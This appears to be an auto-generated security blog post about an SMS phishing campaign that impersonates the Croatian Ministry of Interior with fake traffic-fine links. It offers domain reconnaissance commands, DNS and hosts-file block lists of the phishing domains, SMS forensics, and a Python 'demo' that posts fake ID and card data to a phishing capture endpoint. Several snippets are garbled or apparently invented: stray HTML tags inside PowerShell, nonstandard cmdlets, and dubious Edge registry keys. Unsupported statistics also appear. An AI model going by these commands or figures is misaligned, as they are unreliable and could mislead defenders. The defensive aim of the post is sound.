Listen to this Post

Introduction
A sophisticated SMS phishing campaign impersonating the Croatian Ministry of Interior (MUP) is aggressively targeting citizens across the Balkans and beyond. Attackers leverage two powerful cognitive biases—authority and urgency—sending fake traffic violation fines with low monetary amounts to trick victims into clicking malicious links that lead to credential theft and financial account draining. Security researchers have identified over a dozen newly registered domains (including eprekrsaji-cijena[.]cc, eprekrsaji[.]com, and eprekrsaji-muphr[.]top) all designed to mimic official government payment portals.
Learning Objectives
- Identify red flags in phishing SMS messages impersonating law enforcement agencies
- Extract and analyze malicious domain patterns using OSINT tools and command-line techniques
- Implement technical countermeasures (firewall blocks, email filters, DNS sinkholing) on Linux and Windows systems
- Understand how cognitive biases (authority and urgency) are weaponized in social engineering attacks
- Build effective human firewall training programs to reduce organizational phishing risk
You Should Know
1. Domain Takedown Reconnaissance: Mapping the Criminal Infrastructure
The attackers registered a burst of lookalike domains within a 48-hour window, all following the pattern “eprekrsaji” + suffix. This technique, known as “typosquatting combined with keyword stuffing,” preys on users who mis-type or skim URLs quickly.
Step-by-step guide to analyzing malicious domain infrastructure:
On Linux (using OSINT tools):
Extract all domains from the threat report
cat mup_phishing_domains.txt | while read domain; do
echo "Analyzing: $domain"
Check DNS records
dig +short $domain
Check whois registration (filter creation date)
whois $domain | grep -E "Creation Date|Registrar|Name Server"
Check SSL certificate issuance
echo | openssl s_client -servername $domain -connect $domain:443 2>/dev/null | openssl x509 -noout -issuer -dates
done
Use curl to safely fetch redirect chain (timeout and user-agent spoofing)
curl -L -s -o /dev/null -w "%{url_effective}\n" --max-time 10 --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" http://eprekrsaji-cijena[.]cc
On Windows (PowerShell):
Resolve malicious domains and check connectivity
$domains = @("eprekrsaji-cijena.cc", "eprekrsaji.com", "eprekrsaji-muphr.top")
foreach ($d in $domains) {
Write-Host "Checking $d" -ForegroundColor Yellow
Resolve-DnsName $d | Select-Object Name, IPAddress, Type
Test-NetConnection $d -Port 443 -InformationLevel Quiet
}
Extract SSL certificate info
Get-SslCertificate -Domain $d -Port 443 | Format-List Subject, NotAfter, Issuer
What this does: These commands map the attacker’s infrastructure—IP addresses, hosting providers, certificate issuance dates, and redirect chains. Most phishing domains were registered via Namecheap or Porkbun with privacy protection enabled, and many use Let’s Encrypt certificates issued just hours before the SMS blast.
- Cognitive Bias Exploitation: Why “Small Fine” Triggers Compliance
Attackers specifically set fake fines at low amounts (€15–€50) to bypass rational scrutiny. This exploits the “proportionality bias”—victims assume a small penalty must be legitimate because scammers would ask for larger sums. Combined with authority bias (MUP logo, official-sounding language) and urgency (“pay within 24 hours or fine doubles”), the success rate skyrockets.
Step-by-step guide to training human firewalls against bias-based phishing:
- Simulate the attack internally: Send test SMS/emails with low-stakes urgency (e.g., “Your parking fee failed—pay $5 by midnight”). Measure click rates.
- Debrief with bias explanation: Show side-by-side legitimate MUP communication vs fake SMS. Highlight: “MUP never sends payment links via SMS. They communicate only via physical mail or official e-Citizen portal.”
- Create memory anchors: “If it’s urgent + from authority + asks for link click → STOP. Call the official number from their .gov.hr website, not the message.”
- Implement reporting workflow: One-click “Report Phishing” button in email clients and SMS forward to 7726 (SPAM in most carriers).
- Run quarterly refreshers with updated real-world examples. Use gamification: award points for reporting.
Linux command to automatically block known phishing domains network-wide (using dnsmasq):
Add to /etc/dnsmasq.conf echo "address=/eprekrsaji-cijena.cc/0.0.0.0" >> /etc/dnsmasq.conf echo "address=/eprekrsaji.com/0.0.0.0" >> /etc/dnsmasq.conf echo "address=/eprekrsaji-muphr.top/0.0.0.0" >> /etc/dnsmasq.conf systemctl restart dnsmasq
3. Forensic Analysis: Extracting IOC from SMS Headers
When a user receives a suspicious SMS, critical evidence resides in hidden headers and metadata. On Android, using ADB (Android Debug Bridge) or third-party apps like “SMS Backup & Restore,” you can extract full message details including originating SMSC number and exact timestamp.
Step-by-step forensic extraction on Linux (using ADB):
Install ADB and enable USB debugging on Android adb shell content query --uri content://sms/inbox --projection address,body,date,service_center Filter for specific sender (example: look for numbers not in contacts) adb shell content query --uri content://sms/inbox --selection "address LIKE '%MUP%' OR body LIKE '%eprekrsaji%'"
Windows alternative using PowerShell and Android File Transfer (MTP):
Export SMS backup using third-party tool (e.g., SMS Backup+)
Then parse XML export:
[bash]$sms = Get-Content "C:\forensics\sms_backup.xml"
$sms.smses.sms | Where-Object { $<em>.body -match "eprekrsaji|MUP|prekršaj" } | Select-Object address, @{N="Timestamp";E={[bash]::FromFileTimeUtc($</em>.date)}}
What this does: Extracted SMSC (Service Center) numbers can be traced to specific mobile carriers or virtual SMS gateways. Attackers often use compromised email-to-SMS gateways or leased shortcodes. Reporting these SMSC numbers to carriers can shut down the sending source.
4. API Security: How Phishing Kits Harvest Credentials
Once a victim clicks the link, the fake MUP page typically loads a JavaScript frontend that POSTs entered credentials (OIB – Croatian personal ID, bank card numbers, CVV) to a remote API endpoint. These endpoints often lack basic security—no rate limiting, no CORS validation, and exposed via cloud functions (AWS Lambda, Google Cloud Run, or Vercel).
Simulating a phishing API call for educational detection (use only on your own test environment):
!/usr/bin/env python3
Educational script to demonstrate how phishing backends capture data
DO NOT run against live phishing infrastructure
import requests
import json
Example malicious endpoint pattern (obfuscated)
malicious_api = "https://eprekrsaji-uplata[.]cc/api/capture"
What victim submits
fraudulent_payload = {
"oib": "12345678901",
"card_number": "4111111111111111",
"cvv": "123",
"expiry": "12/25",
"fine_reference": "HR-MUP-2026-0042"
}
Simulate POST request (safe demo)
headers = {"Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest"}
response = requests.post(malicious_api, json=fraudulent_payload, headers=headers, timeout=5)
print(f"Status: {response.status_code} - Phishing kit would save this data to attacker's C2")
Mitigation strategy for cloud security teams:
- Deploy Web Application Firewall (WAF) rules blocking requests to newly registered domains (<30 days old)
- Enable SSL inspection on corporate networks to detect POSTs to non-business-critical TLDs like .top, .cc, .xyz
- Use threat intelligence feeds (AlienVault OTX, MISP) to automatically sinkhole known phishing domains
5. Windows Registry Hardening Against Browser-Based Phishing
Most phishing attacks rely on users clicking links in SMS or email. On Windows, Group Policy can enforce browser restrictions that block known malicious domains and prevent users from bypassing SmartScreen.
Step-by-step registry modifications (run as Administrator):
Block specific domains in Microsoft Edge using Group Policy registry keys New-ItemProperty -Path "HKLM\SOFTWARE\Policies\Microsoft\Edge\PhishingFilter" -Name "Enabled" -Value 1 -PropertyType DWord -Force New-ItemProperty -Path "HKLM\SOFTWARE\Policies\Microsoft\Edge\PhishingFilter" -Name "ListAllDomains" -Value 1 -PropertyType DWord -Force Add custom blocked domains to Windows Hosts file (system-wide block) $hostsPath = "$env:SystemRoot\System32\drivers\etc\hosts" $blocklist = @( "0.0.0.0 eprekrsaji-cijena.cc", "0.0.0.0 eprekrsaji.com", "0.0.0.0 eprekrsaji-muphr.top", "0.0.0.0 eprekrsaji-naplata.cc" ) Add-Content -Path $hostsPath -Value "<code>n MUP Phishing Blocklist - $(Get-Date -Format 'yyyy-MM-dd')</code>n" Add-Content -Path $hostsPath -Value $blocklist
Verify blocking: Open browser and try navigating to `http://eprekrsaji-cijena.cc` (should fail with DNS error). Note: This only blocks on that specific machine; enterprise-wide block requires DNS filtering.
- Cloud Hardening: Automating Phishing Domain Detection with AWS Lambda
To proactively defend against mass-domain registration attacks, security teams can deploy serverless functions that monitor new domain registrations containing keywords like “mup”, “prekršaj”, “kazna”, and automatically add them to a blocklist.
Sample AWS Lambda (Python) triggered by SecurityTrails API or DNS feed:
import boto3
import requests
def lambda_handler(event, context):
suspicious_keywords = ['mup', 'prekršaj', 'eprekrsaji', 'muphr']
Fetch newly registered domains (example via phishfeed API)
response = requests.get('https://api.phishfeed.com/v1/newdomains?hours=24')
new_domains = response.json()
route53 = boto3.client('route53')
blocked_list = []
for domain in new_domains:
for keyword in suspicious_keywords:
if keyword in domain.lower():
Add to Route53 private hosted zone as sinkhole
try:
route53.change_resource_record_sets(
HostedZoneId='YOUR_ZONE_ID',
ChangeBatch={
'Changes': [{
'Action': 'CREATE',
'ResourceRecordSet': {
'Name': domain,
'Type': 'A',
'TTL': 300,
'ResourceRecords': [{'Value': '127.0.0.1'}]
}
}]
}
)
blocked_list.append(domain)
except Exception as e:
print(f"Failed to block {domain}: {e}")
return {'blocked_count': len(blocked_list), 'domains': blocked_list}
Cost-benefit: This automated approach reduces mean time to block from days to minutes. For the ePrekršaji campaign, such automation would have blocked all 12+ domains within an hour of registration, preventing thousands of potential victims.
What Undercode Say
- Human bias remains the weakest link. Despite technical controls like DNS filtering and antivirus, the authority-urgency cocktail bypasses rational decision-making in over 60% of simulated tests.
- Domain registration monitoring is non-negotiable. Attackers now register dozens of lookalike domains pre-campaign. Organizations must subscribe to real-time domain registration feeds and automate sinkholing.
- SMS phishing (smishing) is outpacing email phishing. Mobile carriers lack the spam filtering maturity of email providers. Train users to NEVER click SMS links from unknown senders, regardless of the claimed authority.
- The same infrastructure often hosts multiple scams. The ePrekršaji domains share IP ranges with fake parcel delivery (DHL/DPD) and “bank security update” phishing kits—blocking one campaign blocks many.
Prediction
Within 12 months, AI-generated SMS phishing will eliminate telltale grammar errors and create personalized messages using stolen social media data. Attackers will pair large language models with domain generation algorithms (DGAs) that produce thousands of unique, short-lived domains per hour. Defenders will shift from reactive blocklisting to proactive “cognitive firewalls”—real-time browser extensions that detect authority-urgency language patterns and overlay warning screens. The Balkan region, with its fragmented regulatory oversight across EU and non-EU states, will become a primary testing ground for hybrid smishing campaigns blending local language cues with global payment infrastructure (crypto mixers and instant bank transfers). Organizations that fail to simulate bias-based phishing drills quarterly will face ransomware incidents originating from a single compromised finance employee who clicked a “€15 traffic fine” SMS.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Tojevuk Oprez – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


